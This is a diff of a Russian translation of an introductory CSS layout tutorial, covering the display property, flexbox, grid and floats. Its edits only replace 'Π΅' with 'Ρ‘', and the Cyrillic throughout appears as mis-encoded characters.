<p><strong>ΠŸΡ€ΠΈΠΌΠ΅Ρ‡Π°Π½ΠΈΠ΅</strong>: НаправлСниС, Π² ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠΌ отобраТаСтся содСрТимоС Π±Π»ΠΎΠΊΠ°, называСтся Block Direction.Β Block Direction Π²Π΅Ρ€Ρ‚ΠΈΠΊΠ°Π»ΡŒΠ½ΠΎ Π² языках Ρ‚ΠΈΠΏΠ° Английского, ΠΈΠΌΠ΅ΡŽΡ‰ΠΈΡ… Π³ΠΎΡ€ΠΈΠ·ΠΎΠ½Ρ‚Π°Π»ΡŒΠ½ΠΎΠ΅ Π½Π°ΠΏΡ€Π°Π²Π»Π΅Π½ΠΈΠ΅ письма. Π’ языках, Ρ‚ΠΈΠΏΠ° Японского, ΠΈΠΌΠ΅ΡŽΡ‰ΠΈΡ… Π²Π΅Ρ€Ρ‚ΠΈΠΊΠ°Π»ΡŒΠ½ΠΎΠ΅ Π½Π°ΠΏΡ€Π°Π²Π»Π΅Π½ΠΈΠ΅ письма,Β Block Direction Π³ΠΎΡ€ΠΈΠ·ΠΎΠ½Ρ‚Π°Π»ΡŒΠ½ΠΎ. Π‘ΠΎΠΎΡ‚Π²Π΅Ρ‚ΡΡ‚Π²ΡƒΡŽΡ‰Π΅Π΅ Inline Direction ΠΎΡ‚Π²Π΅Ρ‡Π°Π΅Ρ‚ Π·Π°Β  Π½Π°ΠΏΡ€Π°Π²Π»Π΅Π½ΠΈΠ΅ отобраТСния строковых элСмСнтов (Ρ‚Π°ΠΊΠΈΡ… ΠΊΠ°ΠΊ ΠΏΡ€Π΅Π΄Π»ΠΎΠΆΠ΅Π½ΠΈΠ΅).</p>
</div>
-<p>Когда Π²Ρ‹ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚Π΅Β CSS для создания Ρ€Π°Π·ΠΌΠ΅Ρ‚ΠΊΠΈ,Β Π²Ρ‹ Π΄Π²ΠΈΠ³Π°Π΅Ρ‚Π΅ элСмСнты ΠΎΡ‚Π½ΠΎΡΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎ ΠΈΡ… ΠΎΠ±Ρ‹Ρ‡Π½ΠΎΠ³ΠΎ располоТСния, Π½ΠΎ для ΠΌΠ½ΠΎΠ³ΠΈΡ… элСмСнтов Π½Π° вашСй страницС ΠΈΡ… ΠΎΠ±Ρ‹Ρ‡Π½ΠΎΠ΅ ΠΏΠΎΠ»ΠΎΠΆΠ΅Π½ΠΈΠ΅ - это ΠΈΠΌΠ΅Π½Π½ΠΎ Ρ‚ΠΎ, Ρ‡Ρ‚ΠΎ Π²Π°ΠΌ ΠΏΠΎΠ΄ΠΎΠΉΠ΄Π΅Ρ‚. ИмСнно поэтому Π²Π°ΠΆΠ½ΠΎ Π½Π°Ρ‡ΠΈΠ½Π°Ρ‚ΡŒ вСрстку с создания ΠΏΡ€Π°Π²ΠΈΠ»ΡŒΠ½ΠΎ ΠΎΡ€Π³Π°Π½ΠΈΠ·ΠΎΠ²Π°Π½Π½ΠΎΠ³ΠΎ HTML Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚Π°, для Ρ‚ΠΎΠ³ΠΎ, чтобы базовоС располоТСниС элСмСнтов впослСдствии Ρ€Π°Π±ΠΎΡ‚Π°Π»ΠΎ Π½Π° вас.</p>
+<p>Когда Π²Ρ‹ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚Π΅Β CSS для создания Ρ€Π°Π·ΠΌΠ΅Ρ‚ΠΊΠΈ,Β Π²Ρ‹ Π΄Π²ΠΈΠ³Π°Π΅Ρ‚Π΅ элСмСнты ΠΎΡ‚Π½ΠΎΡΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎ ΠΈΡ… ΠΎΠ±Ρ‹Ρ‡Π½ΠΎΠ³ΠΎ располоТСния, Π½ΠΎ для ΠΌΠ½ΠΎΠ³ΠΈΡ… элСмСнтов Π½Π° вашСй страницС ΠΈΡ… ΠΎΠ±Ρ‹Ρ‡Π½ΠΎΠ΅ ΠΏΠΎΠ»ΠΎΠΆΠ΅Π½ΠΈΠ΅ - это ΠΈΠΌΠ΅Π½Π½ΠΎ Ρ‚ΠΎ, Ρ‡Ρ‚ΠΎ Π²Π°ΠΌ ΠΏΠΎΠ΄ΠΎΠΉΠ΄Ρ‘Ρ‚. ИмСнно поэтому Π²Π°ΠΆΠ½ΠΎ Π½Π°Ρ‡ΠΈΠ½Π°Ρ‚ΡŒ вёрстку с создания ΠΏΡ€Π°Π²ΠΈΠ»ΡŒΠ½ΠΎ ΠΎΡ€Π³Π°Π½ΠΈΠ·ΠΎΠ²Π°Π½Π½ΠΎΠ³ΠΎ HTML Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚Π°, для Ρ‚ΠΎΠ³ΠΎ, чтобы базовоС располоТСниС элСмСнтов впослСдствии Ρ€Π°Π±ΠΎΡ‚Π°Π»ΠΎ Π½Π° вас.</p>
<p>ΠœΠ΅Ρ‚ΠΎΠ΄Ρ‹ CSS, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΌΠΈ Π²Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΡƒΠΏΡ€Π°Π²Π»ΡΡ‚ΡŒ Ρ€Π°Π·ΠΌΠ΅Ρ‚ΠΊΠΎΠΉ элСмСнтов:</p>
@@ -77,7 +77,7 @@ translation_of: Learn/CSS/CSS_layout/Introduction
<h2 id="Бвойство_display">Бвойство displayΒ </h2>
-<p>ЗначСния свойства <code>display</code>Β ΡΠ²Π»ΡΡŽΡ‚ΡΡ Π³Π»Π°Π²Π½Ρ‹ΠΌΠΈ ΠΌΠ΅Ρ‚ΠΎΠ΄Π°ΠΌΠΈ вСрстки Ρ€Π°Π·ΠΌΠ΅Ρ‚ΠΊΠΈ страницы Π² CSS. Π­Ρ‚ΠΎ свойство позволяСт Π½Π°ΠΌ ΠΌΠ΅Π½ΡΡ‚ΡŒ Ρ‚ΠΎ, ΠΊΠ°ΠΊ Ρ‡Ρ‚ΠΎ-Ρ‚ΠΎ отобраТаСтся ΠΏΠΎ ΡƒΠΌΠΎΠ»Ρ‡Π°Π½ΠΈΡŽ. ΠšΠ°ΠΆΠ΄Ρ‹ΠΉ элСмСнт ΠΏΠΎ ΡƒΠΌΠΎΠ»Ρ‡Π°Π½ΠΈΡŽ ΠΈΠΌΠ΅Π΅Ρ‚ свойство <code>display</code>, Π²Π»ΠΈΡΡŽΡ‰Π΅Π΅ Π½Π° Ρ‚ΠΎ, ΠΊΠ°ΠΊ этот элСмСнт отобраТаСтся. НапримСр, ΠΏΠ°Ρ€Π°Π³Ρ€Π°Ρ„Ρ‹ Π½Π° английском Ρ€Π°ΡΠΏΠΎΠ»Π°Π³Π°ΡŽΡ‚ΡΡ ΠΎΠ΄ΠΈΠ½ ΠΏΠΎΠ΄ Π΄Ρ€ΡƒΠ³ΠΈΠΌ Ρ‚ΠΎΠ»ΡŒΠΊΠΎ ΠΏΠΎΡ‚ΠΎΠΌΡƒ Ρ‡Ρ‚ΠΎ ΠΎΠ½ΠΈ ΠΈΠΌΠ΅ΡŽΡ‚ ΠΏΠΎ ΡƒΠΌΠΎΠ»Ρ‡Π°Π½ΠΈΡŽ свойство  <code>display: block</code>. Если ΠΆΠ΅ Π²Ρ‹ создадитС ссылку Π²Π½ΡƒΡ‚Ρ€ΠΈ ΠΏΠ°Ρ€Π°Π³Ρ€Π°Ρ„Π°, эта ссылка Π±ΡƒΠ΄Π΅Ρ‚ ΠΎΡ‚ΠΎΠ±Ρ€Π°ΠΆΠ°Ρ‚ΡŒΡΡ Π² ΠΎΠ±Ρ‰Π΅ΠΌ ΠΏΠΎΡ‚ΠΎΠΊΠ΅ с ΠΎΡΡ‚Π°Π»ΡŒΠ½Ρ‹ΠΌ тСкстом, Π±Π΅Π· пСрСноса Π½Π° Π½ΠΎΠ²ΡƒΡŽ строку. Π­Ρ‚ΠΎ ΠΏΠΎΡ‚ΠΎΠΌΡƒ Ρ‡Ρ‚ΠΎ у элСмСнта {{htmlelement("a")}} ΠΏΠΎ ΡƒΠΌΠΎΠ»Ρ‡Π°Π½ΠΈΡŽ установлСно свойство <code>display: inline</code>.</p>
+<p>ЗначСния свойства <code>display</code>Β ΡΠ²Π»ΡΡŽΡ‚ΡΡ Π³Π»Π°Π²Π½Ρ‹ΠΌΠΈ ΠΌΠ΅Ρ‚ΠΎΠ΄Π°ΠΌΠΈ вёрстки Ρ€Π°Π·ΠΌΠ΅Ρ‚ΠΊΠΈ страницы Π² CSS. Π­Ρ‚ΠΎ свойство позволяСт Π½Π°ΠΌ ΠΌΠ΅Π½ΡΡ‚ΡŒ Ρ‚ΠΎ, ΠΊΠ°ΠΊ Ρ‡Ρ‚ΠΎ-Ρ‚ΠΎ отобраТаСтся ΠΏΠΎ ΡƒΠΌΠΎΠ»Ρ‡Π°Π½ΠΈΡŽ. ΠšΠ°ΠΆΠ΄Ρ‹ΠΉ элСмСнт ΠΏΠΎ ΡƒΠΌΠΎΠ»Ρ‡Π°Π½ΠΈΡŽ ΠΈΠΌΠ΅Π΅Ρ‚ свойство <code>display</code>, Π²Π»ΠΈΡΡŽΡ‰Π΅Π΅ Π½Π° Ρ‚ΠΎ, ΠΊΠ°ΠΊ этот элСмСнт отобраТаСтся. НапримСр, ΠΏΠ°Ρ€Π°Π³Ρ€Π°Ρ„Ρ‹ Π½Π° английском Ρ€Π°ΡΠΏΠΎΠ»Π°Π³Π°ΡŽΡ‚ΡΡ ΠΎΠ΄ΠΈΠ½ ΠΏΠΎΠ΄ Π΄Ρ€ΡƒΠ³ΠΈΠΌ Ρ‚ΠΎΠ»ΡŒΠΊΠΎ ΠΏΠΎΡ‚ΠΎΠΌΡƒ Ρ‡Ρ‚ΠΎ ΠΎΠ½ΠΈ ΠΈΠΌΠ΅ΡŽΡ‚ ΠΏΠΎ ΡƒΠΌΠΎΠ»Ρ‡Π°Π½ΠΈΡŽ свойство  <code>display: block</code>. Если ΠΆΠ΅ Π²Ρ‹ создадитС ссылку Π²Π½ΡƒΡ‚Ρ€ΠΈ ΠΏΠ°Ρ€Π°Π³Ρ€Π°Ρ„Π°, эта ссылка Π±ΡƒΠ΄Π΅Ρ‚ ΠΎΡ‚ΠΎΠ±Ρ€Π°ΠΆΠ°Ρ‚ΡŒΡΡ Π² ΠΎΠ±Ρ‰Π΅ΠΌ ΠΏΠΎΡ‚ΠΎΠΊΠ΅ с ΠΎΡΡ‚Π°Π»ΡŒΠ½Ρ‹ΠΌ тСкстом, Π±Π΅Π· пСрСноса Π½Π° Π½ΠΎΠ²ΡƒΡŽ строку. Π­Ρ‚ΠΎ ΠΏΠΎΡ‚ΠΎΠΌΡƒ Ρ‡Ρ‚ΠΎ у элСмСнта {{htmlelement("a")}} ΠΏΠΎ ΡƒΠΌΠΎΠ»Ρ‡Π°Π½ΠΈΡŽ установлСно свойство <code>display: inline</code>.</p>
<p>Π’Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΠΈΠ·ΠΌΠ΅Π½ΠΈΡ‚ΡŒ Π΄Π΅Ρ„ΠΎΠ»Ρ‚Π½ΠΎΠ΅ ΠΏΠΎΠ²Π΅Π΄Π΅Π½ΠΈΠ΅ display. К ΠΏΡ€ΠΈΠΌΠ΅Ρ€Ρƒ, Β {{htmlelement("li")}} отобраТаСтся ΠΊΠ°ΠΊΒ <code>display: block</code>Β ΠΏΠΎ ΡƒΠΌΠΎΠ»Ρ‡Π°Π½ΠΈΡŽ, это ΠΎΠ·Π½Π°Ρ‡Π°Π΅Ρ‚ Ρ‡Ρ‚ΠΎ элСмСнты списка ΠΎΡ‚ΠΎΠ±Ρ€Π°ΠΆΠ°ΡŽΡ‚ΡΡ ΠΎΠ΄ΠΈΠ½ Π·Π° Π΄Ρ€ΡƒΠ³ΠΈΠΌ Π² нашСм Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚Π΅.Если ΠΌΡ‹ ΠΈΠ·ΠΌΠ΅Π½ΠΈΠΌ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅Β display Π½Π°Β <code>inline</code>Β ΠΎΠ½ΠΈ Π±ΡƒΠ΄ΡƒΡ‚ ΠΎΡ‚ΠΎΠ±Ρ€Π°ΠΆΠ°Ρ‚ΡŒΡΡ Π΄Ρ€ΡƒΠ³ Π·Π° Π΄Ρ€ΡƒΠ³ΠΎΠΌ, ΠΊΠ°ΠΊ это Π΄Π΅Π»Π°ΡŽΡ‚ слова Π² ΠΏΡ€Π΅Π΄Π»ΠΎΠΆΠ΅Π½ΠΈΠΈ. Π’ΠΎΡ‚ Ρ„Π°ΠΊΡ‚, Ρ‡Ρ‚ΠΎ Π²Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΠΈΠ·ΠΌΠ΅Π½ΠΈΡ‚ΡŒ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ display для любого элСмСнта ΠΎΠ·Π½Π°Ρ‡Π°Π΅Ρ‚, Ρ‡Ρ‚ΠΎ Π²Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ Π²Ρ‹Π±ΠΈΡ€Π°Ρ‚ΡŒ HTML элСмСнты ΠΏΠΎ ΠΈΡ… сСмантичСскому Π·Π½Π°Ρ‡Π΅Π½ΠΈΡŽ, Π½Π΅ бСспокоясь ΠΎ Ρ‚ΠΎΠΌ ΠΊΠ°ΠΊ ΠΎΠ½ΠΈ Π±ΡƒΠ΄ΡƒΡ‚ Π²Ρ‹Π³Π»ΡΠ΄Π΅Ρ‚ΡŒ. Π’ΠΎ ΠΊΠ°ΠΊ ΠΎΠ½ΠΈ выглядят это Ρ‚ΠΎ, Ρ‡Ρ‚ΠΎ Π²Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΠΏΠΎΠΌΠ΅Π½ΡΡ‚ΡŒ.</p>
@@ -85,7 +85,7 @@ translation_of: Learn/CSS/CSS_layout/Introduction
<h2 id="Flexbox">Flexbox</h2>
-<p>Flexbox (сокращСниС ΠΎΡ‚Β <a href="/en-US/docs/Web/CSS/CSS_Flexible_Box_Layout">Flexible Box Layout</a>) это ΠΌΠΎΠ΄ΡƒΠ»ΡŒ, Ρ€Π°Π·Ρ€Π°Π±ΠΎΡ‚Π°Π½Π½Ρ‹ΠΉ для облСгчСния вСрстки Π² ΠΎΠ΄Π½ΠΎΠΌ ΠΈΠ· ΠΈΠ·ΠΌΠ΅Ρ€Π΅Π½ΠΈΠΉΒ β€” ΠΊΠ°ΠΊ ряд ΠΈΠ»ΠΈ ΠΊΠ°ΠΊ ΠΊΠΎΠ»ΠΎΠ½ΠΊΠ°. Для использования, установитС свойство <code>display: flex</code> для Ρ€ΠΎΠ΄ΠΈΡ‚Π΅Π»ΡŒΡΠΊΠΎΠ³ΠΎ элСмСнта Ρ‚Π΅Ρ… элСмСнтов, ΠΊ ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΌ Ρ…ΠΎΡ‚ΠΈΡ‚Π΅ ΠΏΡ€ΠΈΠΌΠ΅Π½ΠΈΡ‚ΡŒ этот Ρ‚ΠΈΠΏ вСрстки; всС Π΅Π³ΠΎ прямыС ΠΏΠΎΡ‚ΠΎΠΌΠΊΠΈ станут flex элСмСнтами. Рассмотрим это Π½Π° простом ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π΅.</p>
+<p>Flexbox (сокращСниС ΠΎΡ‚Β <a href="/en-US/docs/Web/CSS/CSS_Flexible_Box_Layout">Flexible Box Layout</a>) это ΠΌΠΎΠ΄ΡƒΠ»ΡŒ, Ρ€Π°Π·Ρ€Π°Π±ΠΎΡ‚Π°Π½Π½Ρ‹ΠΉ для облСгчСния вёрстки Π² ΠΎΠ΄Π½ΠΎΠΌ ΠΈΠ· ΠΈΠ·ΠΌΠ΅Ρ€Π΅Π½ΠΈΠΉΒ β€” ΠΊΠ°ΠΊ ряд ΠΈΠ»ΠΈ ΠΊΠ°ΠΊ ΠΊΠΎΠ»ΠΎΠ½ΠΊΠ°. Для использования, установитС свойство <code>display: flex</code> для Ρ€ΠΎΠ΄ΠΈΡ‚Π΅Π»ΡŒΡΠΊΠΎΠ³ΠΎ элСмСнта Ρ‚Π΅Ρ… элСмСнтов, ΠΊ ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΌ Ρ…ΠΎΡ‚ΠΈΡ‚Π΅ ΠΏΡ€ΠΈΠΌΠ΅Π½ΠΈΡ‚ΡŒ этот Ρ‚ΠΈΠΏ вёрстки; всС Π΅Π³ΠΎ прямыС ΠΏΠΎΡ‚ΠΎΠΌΠΊΠΈ станут flex элСмСнтами. Рассмотрим это Π½Π° простом ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π΅.</p>
<p>Π Π°Π·ΠΌΠ΅Ρ‚ΠΊΠ° HTML, прСдставлСнная Π½ΠΈΠΆΠ΅, состоит ΠΈΠ· элСмСнта <code>wrapper</code>, Π²ΠΊΠ»ΡŽΡ‡Π°ΡŽΡ‰Π΅Π³ΠΎ Π² сСбя Ρ‚Ρ€ΠΈ {{htmlelement("div")}} элСмСнта. По ΡƒΠΌΠΎΠ»Ρ‡Π°Π½ΠΈΡŽ всС ΠΎΠ½ΠΈ Π±ΡƒΠ΄ΡƒΡ‚ ΠΈΠ·ΠΎΠ±Ρ€Π°ΠΆΠ°Ρ‚ΡŒΡΡ ΠΊΠ°ΠΊ Π±Π»ΠΎΡ‡Π½Ρ‹Π΅, ΠΎΠ΄ΠΈΠ½ ΠΏΠΎΠ΄ Π΄Ρ€ΡƒΠ³ΠΈΠΌ.</p>
@@ -165,7 +165,7 @@ translation_of: Learn/CSS/CSS_layout/Introduction
<p>Π’ Ρ‚ΠΎ врСмя ΠΊΠ°ΠΊ flexbox ΠΏΡ€Π΅Π΄Π½Π°Π·Π½Π°Ρ‡Π΅Π½ для ΠΎΠ΄Π½ΠΎΠΌΠ΅Ρ€Π½ΠΎΠΉ Ρ€Π°Π·ΠΌΠ΅Ρ‚ΠΊΠΈ, Grid Layout ΠΏΡ€Π΅Π΄Π½Π°Π·Π½Π°Ρ‡Π΅Π½ для Π΄Π²ΡƒΠΌΠ΅Ρ€Π½ΠΎΠΉ β€” выстраивая ΠΏΡ€Π΅Π΄ΠΌΠ΅Ρ‚Ρ‹ Π² ряды ΠΈ столбцы.</p>
-<p>Π•Ρ‰Π΅ Ρ€Π°Π·, Π²Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΠΏΠ΅Ρ€Π΅ΠΊΠ»ΡŽΡ‡ΠΈΡ‚ΡŒΡΡ Π½Π° Grid Layout ΠΏΡ€ΠΈ ΠΏΠΎΠΌΠΎΡ‰ΠΈ ΠΊΠΎΠ½ΠΊΡ€Π΅Ρ‚Π½ΠΎΠ³ΠΎ значСния отобраТСния β€” <code>display: grid</code>. ΠŸΡ€ΠΈΠΌΠ΅Ρ€ Π½ΠΈΠΆΠ΅ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚ Ρ€Π°Π·ΠΌΠ΅Ρ‚ΠΊΡƒ ΠΏΠΎΠ΄ΠΎΠ±Π½ΡƒΡŽ ΠΏΡ€ΠΈΠΌΠ΅Ρ€Ρƒ flex, Π° Ρ‚Π°ΠΊΠΆΠ΅ ΠΌΡ‹ опрСдСляСм Π½Π΅ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ Π΄ΠΎΡ€ΠΎΠΆΠΊΠΈ рядов ΠΈ столбцов Π² Ρ€ΠΎΠ΄ΠΈΡ‚Π΅Π»ΡŒΡΠΊΠΎΠΌ элСмСнтС, ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡ свойства {{cssxref("grid-template-rows")}} ΠΈ {{cssxref("grid-template-columns")}} соотвСтствСнно. ΠœΡ‹ ΠΎΠΏΡ€Π΅Π΄Π΅Π»ΠΈΠ»ΠΈ Ρ‚Ρ€ΠΈ столбца ΠΊΠ°ΠΆΠ΄Ρ‹ΠΉ ΠΏΠΎ <code>1fr</code> ΠΈ Π΄Π²Π° ряда ΠΏΠΎ <code>100px</code>. МнС Π½Π΅ Π½Π°Π΄ΠΎ Π²Π²ΠΎΠ΄ΠΈΡ‚ΡŒ ΠΊΠ°ΠΊΠΈΠ΅-Π»ΠΈΠ±ΠΎ ΠΏΡ€Π°Π²ΠΈΠ»Π° для Π΄ΠΎΡ‡Π΅Ρ€Π½ΠΈΡ… элСмСнтов; <span class="tlid-translation translation" lang="ru"><span title="">ΠΎΠ½ΠΈ автоматичСски ΠΏΠΎΠΌΠ΅Ρ‰Π°ΡŽΡ‚ΡΡ Π² ячСйки, созданныС нашСй сСткой.</span></span></p>
+<p>Π•Ρ‰Ρ‘ Ρ€Π°Π·, Π²Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΠΏΠ΅Ρ€Π΅ΠΊΠ»ΡŽΡ‡ΠΈΡ‚ΡŒΡΡ Π½Π° Grid Layout ΠΏΡ€ΠΈ ΠΏΠΎΠΌΠΎΡ‰ΠΈ ΠΊΠΎΠ½ΠΊΡ€Π΅Ρ‚Π½ΠΎΠ³ΠΎ значСния отобраТСния β€” <code>display: grid</code>. ΠŸΡ€ΠΈΠΌΠ΅Ρ€ Π½ΠΈΠΆΠ΅ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚ Ρ€Π°Π·ΠΌΠ΅Ρ‚ΠΊΡƒ ΠΏΠΎΠ΄ΠΎΠ±Π½ΡƒΡŽ ΠΏΡ€ΠΈΠΌΠ΅Ρ€Ρƒ flex, Π° Ρ‚Π°ΠΊΠΆΠ΅ ΠΌΡ‹ опрСдСляСм Π½Π΅ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ Π΄ΠΎΡ€ΠΎΠΆΠΊΠΈ рядов ΠΈ столбцов Π² Ρ€ΠΎΠ΄ΠΈΡ‚Π΅Π»ΡŒΡΠΊΠΎΠΌ элСмСнтС, ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡ свойства {{cssxref("grid-template-rows")}} ΠΈ {{cssxref("grid-template-columns")}} соотвСтствСнно. ΠœΡ‹ ΠΎΠΏΡ€Π΅Π΄Π΅Π»ΠΈΠ»ΠΈ Ρ‚Ρ€ΠΈ столбца ΠΊΠ°ΠΆΠ΄Ρ‹ΠΉ ΠΏΠΎ <code>1fr</code> ΠΈ Π΄Π²Π° ряда ΠΏΠΎ <code>100px</code>. МнС Π½Π΅ Π½Π°Π΄ΠΎ Π²Π²ΠΎΠ΄ΠΈΡ‚ΡŒ ΠΊΠ°ΠΊΠΈΠ΅-Π»ΠΈΠ±ΠΎ ΠΏΡ€Π°Π²ΠΈΠ»Π° для Π΄ΠΎΡ‡Π΅Ρ€Π½ΠΈΡ… элСмСнтов; <span class="tlid-translation translation" lang="ru"><span title="">ΠΎΠ½ΠΈ автоматичСски ΠΏΠΎΠΌΠ΅Ρ‰Π°ΡŽΡ‚ΡΡ Π² ячСйки, созданныС нашСй сСткой.</span></span></p>
<div id="Grid_1">
<div class="hidden">
@@ -255,7 +255,7 @@ translation_of: Learn/CSS/CSS_layout/Introduction
<p><strong>ΠŸΡ€ΠΈΠΌΠ΅Ρ‡Π°Π½ΠΈΠ΅</strong>: Π­Ρ‚ΠΈ Π΄Π²Π° ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π° всСго лишь малая Ρ‡Π°ΡΡ‚ΡŒ мощности Grid layout; Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΡƒΠ·Π½Π°Ρ‚ΡŒ большС см. Π½Π°ΡˆΡƒ ΡΡ‚Π°Ρ‚ΡŒΡŽ <a href="/en-US/docs/Learn/CSS/CSS_layout/Grids">Grid Layout</a>.</p>
</div>
-<p>ΠžΡΡ‚Π°Π»ΡŒΠ½Π°Ρ Ρ‡Π°ΡΡ‚ΡŒ этого руководства освСщаСт Π΄Ρ€ΡƒΠ³ΠΈΠ΅ ΠΌΠ΅Ρ‚ΠΎΠ΄Ρ‹ Ρ€Π°Π·ΠΌΠ΅Ρ‚ΠΎΠΊ, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΠΌΠ΅Π½Π΅Π΅ Π²Π°ΠΆΠ½Ρ‹ для основной структуры Ρ€Π°Π·ΠΌΠ΅Ρ‚ΠΊΠΈ вашСй страницы, Π½ΠΎ всС Ρ€Π°Π²Π½ΠΎ ΠΌΠΎΠ³ΡƒΡ‚ ΠΏΠΎΠΌΠΎΡ‡ΡŒ Π²Π°ΠΌ Π² достиТСнии ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½Π½Ρ‹Ρ… Π·Π°Π΄Π°Ρ‡. Понимая ΠΏΡ€ΠΈΡ€ΠΎΠ΄Ρƒ Π·Π°Π΄Π°Ρ‡ΠΈΒ ΠΊΠ°ΠΆΠ΄ΠΎΠΉ Ρ€Π°Π·ΠΌΠ΅Ρ‚ΠΊΠΈ, Π²Ρ‹ вскорС ΠΎΠ±Π½Π°Ρ€ΡƒΠΆΠΈΡ‚Π΅, Ρ‡Ρ‚ΠΎ, глядя Π½Π° ΠΊΠΎΠ½ΠΊΡ€Π΅Ρ‚Π½Ρ‹ΠΉ ΠΊΠΎΠΌΠΏΠΎΠ½Π΅Π½Ρ‚ вашСго Π΄ΠΈΠ·Π°ΠΉΠ½Π°, часто Π±ΡƒΠ΄Π΅Ρ‚ ясно ΠΊΠ°ΠΊΠΎΠΉ Ρ‚ΠΈΠΏ Ρ€Π°Π·ΠΌΠ΅Ρ‚ΠΊΠΈ ΠΏΠΎΠ΄Ρ…ΠΎΠ΄ΠΈΡ‚ Π»ΡƒΡ‡ΡˆΠ΅ всСго.</p>
+<p>ΠžΡΡ‚Π°Π»ΡŒΠ½Π°Ρ Ρ‡Π°ΡΡ‚ΡŒ этого руководства освСщаСт Π΄Ρ€ΡƒΠ³ΠΈΠ΅ ΠΌΠ΅Ρ‚ΠΎΠ΄Ρ‹ Ρ€Π°Π·ΠΌΠ΅Ρ‚ΠΎΠΊ, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΠΌΠ΅Π½Π΅Π΅ Π²Π°ΠΆΠ½Ρ‹ для основной структуры Ρ€Π°Π·ΠΌΠ΅Ρ‚ΠΊΠΈ вашСй страницы, Π½ΠΎ всС Ρ€Π°Π²Π½ΠΎ ΠΌΠΎΠ³ΡƒΡ‚ ΠΏΠΎΠΌΠΎΡ‡ΡŒ Π²Π°ΠΌ Π² достиТСнии ΠΎΠΏΡ€Π΅Π΄Π΅Π»Ρ‘Π½Π½Ρ‹Ρ… Π·Π°Π΄Π°Ρ‡. Понимая ΠΏΡ€ΠΈΡ€ΠΎΠ΄Ρƒ Π·Π°Π΄Π°Ρ‡ΠΈΒ ΠΊΠ°ΠΆΠ΄ΠΎΠΉ Ρ€Π°Π·ΠΌΠ΅Ρ‚ΠΊΠΈ, Π²Ρ‹ вскорС ΠΎΠ±Π½Π°Ρ€ΡƒΠΆΠΈΡ‚Π΅, Ρ‡Ρ‚ΠΎ, глядя Π½Π° ΠΊΠΎΠ½ΠΊΡ€Π΅Ρ‚Π½Ρ‹ΠΉ ΠΊΠΎΠΌΠΏΠΎΠ½Π΅Π½Ρ‚ вашСго Π΄ΠΈΠ·Π°ΠΉΠ½Π°, часто Π±ΡƒΠ΄Π΅Ρ‚ ясно ΠΊΠ°ΠΊΠΎΠΉ Ρ‚ΠΈΠΏ Ρ€Π°Π·ΠΌΠ΅Ρ‚ΠΊΠΈ ΠΏΠΎΠ΄Ρ…ΠΎΠ΄ΠΈΡ‚ Π»ΡƒΡ‡ΡˆΠ΅ всСго.</p>
<h2 id="Floats">Floats</h2>
@@ -266,11 +266,11 @@ translation_of: Learn/CSS/CSS_layout/Introduction
<ul>
<li><code>left</code>Β β€” Π­Π»Π΅ΠΌΠ΅Π½Ρ‚ выравниваСтся слСва ΠΈ Π΄Ρ€ΡƒΠ³ΠΈΠ΅ элСмСнты ΠΎΠ±Ρ‚Π΅ΠΊΠ°ΡŽΡ‚ Π΅Π³ΠΎ справа.</li>
<li><code>right</code>Β β€” Π­Π»Π΅ΠΌΠ΅Π½Ρ‚ выравниваСтся справа ΠΈ Π΄Ρ€ΡƒΠ³ΠΈΠ΅ элСмСнты ΠΎΠ±Ρ‚Π΅ΠΊΠ°ΡŽΡ‚ Π΅Π³ΠΎ слСва.</li>
- <li><code>none</code>Β β€” НС Π·Π°Π΄Π°Π΅Ρ‚ float совсСм. Π­Ρ‚ΠΎ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ ΠΏΠΎ ΡƒΠΌΠΎΠ»Ρ‡Π°Π½ΠΈΡŽ.</li>
+ <li><code>none</code>Β β€” НС Π·Π°Π΄Π°Ρ‘Ρ‚ float совсСм. Π­Ρ‚ΠΎ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ ΠΏΠΎ ΡƒΠΌΠΎΠ»Ρ‡Π°Π½ΠΈΡŽ.</li>
<li><code>inherit</code> β€” ΠžΠΏΡ€Π΅Π΄Π΅Π»ΡΠ΅Ρ‚, Ρ‡Ρ‚ΠΎ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ свойства <code>float</code> Π΄ΠΎΠ»ΠΆΠ½ΠΎ Π±Ρ‹Ρ‚ΡŒ унаслСдовано ΠΎΡ‚ Ρ€ΠΎΠ΄ΠΈΡ‚Π΅Π»ΡŒΡΠΊΠΎΠ³ΠΎ элСмСнта.</li>
</ul>
